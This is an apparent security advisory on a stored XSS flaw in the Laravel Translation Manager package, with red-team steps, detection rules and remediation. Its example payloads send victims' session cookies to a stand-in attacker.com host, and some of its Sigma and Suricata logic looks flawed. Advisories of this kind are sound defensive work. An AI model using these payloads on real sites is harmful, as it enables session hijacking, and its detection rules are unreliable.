CVE-2025-49130

Executive Summary

CVE-2025-49130 is a stored Cross-Site Scripting (XSS) vulnerability in the Laravel Translation Manager package, affecting versions prior to 0.6.8. The vulnerability arises from improper input validation and sanitization of user-supplied translation data. An authenticated attacker with access to the translation manager can inject arbitrary HTML and JavaScript, leading to session hijacking, data theft, or other malicious actions. The vulnerability is fixed in version 0.6.8.

Supply Chain & Package Security

This vulnerability affects the joedixon/laravel-translation-manager Composer package. As a PHP package distributed via Packagist, it is a dependency in many Laravel projects. Organizations using this package should treat it as a supply chain risk and ensure they are not using a vulnerable version. The package is not an NPM, PyPI, Go, or Ruby package, but it is a critical part of the PHP/Laravel ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be authenticated with access to the translation manager.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view a page).
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant for organizations using the translation manager for sensitive operations.

Deep Dive & Mechanics

The Laravel Translation Manager package provides a web interface for managing translation files. The vulnerability exists in the input handling of translation keys and values. When an authenticated user submits translation data, the application fails to properly sanitize the input before storing it in the database or displaying it in the admin interface.

Root Cause: The application does not escape or validate user input for translation keys/values before rendering them in the browser. This allows an attacker to inject malicious JavaScript code that will be executed when other users (including administrators) view the translation management pages.

Attack Flow:

1. An authenticated attacker with access to the translation manager navigates to the translation editing interface.
2. The attacker submits a translation key or value containing a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When another authenticated user (e.g., an admin) views the translation list or edits a translation, the payload is rendered in the browser.
5. The victim's browser executes the injected script, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.

Why It Matters: Even though the attacker needs high privileges, a compromised translation manager account can lead to privilege escalation or lateral movement within the application.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-0.6.8): The vulnerable code likely uses {!! $value !!} (unescaped output) in Blade templates or does not apply htmlspecialchars() or e() helper to user input.

// Vulnerable: Direct output without escaping
{!! $translation->value !!}

Patched Code (0.6.8): The patched version uses escaped output with {{ }} or applies e() helper.

// Patched: Escaped output
{{ $translation->value }}

Additional Mitigation: The patch may also include server-side validation using strip_tags() or htmlspecialchars() on input.

// Patched: Input sanitization
$translation->value = htmlspecialchars($request->input('value'), ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Laravel application using joedixon/laravel-translation-manager version < 0.6.8.
• Valid credentials for a user with access to the translation manager (e.g., admin role).

Exploitation Steps:

1. Log in to the Laravel application as an authenticated user with translation manager access.
2. Navigate to the translation management interface (e.g., /translations).
3. Edit an existing translation or create a new one.
4. In the translation value field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the translation.
6. Wait for an administrator or another user to view the translation list or edit the same translation.
7. The injected script executes in the victim's browser, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual translation entries containing HTML tags or JavaScript.
• Use WAF rules to block requests with <script> tags in translation fields.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Prevention:

• Update to version 0.6.8 immediately.
• Apply input validation and output escaping on all user-supplied data.
• Restrict access to the translation manager to only trusted users.

Hunting:

• Search database for translation values containing <script>, onerror, onload, or other event handlers.
• Review application logs for suspicious POST requests to translation endpoints with unusual payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the application server.
  • Suspicious POST requests to /translations or similar endpoints containing HTML/JavaScript.

• Host IOCs:

  • Translation database entries containing <script> tags or event handlers.
  • Unusual translation keys or values that appear to be encoded or obfuscated.

• Application IOCs:

  • Unexpected JavaScript execution in the translation manager interface.
  • Session anomalies or unauthorized actions performed by legitimate users.

Detection Engineering

YARA Rule

rule CVE_2025_49130_XSS_Translation_Manager {
    meta:
        description = "Detects XSS payloads in Laravel Translation Manager database entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49130"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-49130 XSS in Laravel Translation Manager
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in translation manager requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/translations'
        cs-uri-query|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in translations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49130 XSS in Laravel Translation Manager"; flow:to_server,established; content:"POST"; http_method; content:"/translations"; http_uri; content:"<script"; http_client_body; nocase; content:"onerror"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the package to version 0.6.8 or later:

   composer require joedixon/laravel-translation-manager:^0.6.8
   

2. Verify the update by checking the installed version:

   composer show joedixon/laravel-translation-manager
   

Compensating Controls (if immediate update is not possible):

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in translation fields.
• Restrict access to the translation manager to a limited set of trusted IP addresses.
• Enable Content Security Policy (CSP) headers to prevent execution of inline scripts.
• Regularly audit translation entries for malicious content.

Long-Term Measures:

• Adopt a secure coding policy that mandates output escaping for all user input.
• Conduct regular security training for developers on XSS prevention.
• Implement automated security scanning in the CI/CD pipeline to detect vulnerable dependencies.

Valters IT
Securing Digital Frontiers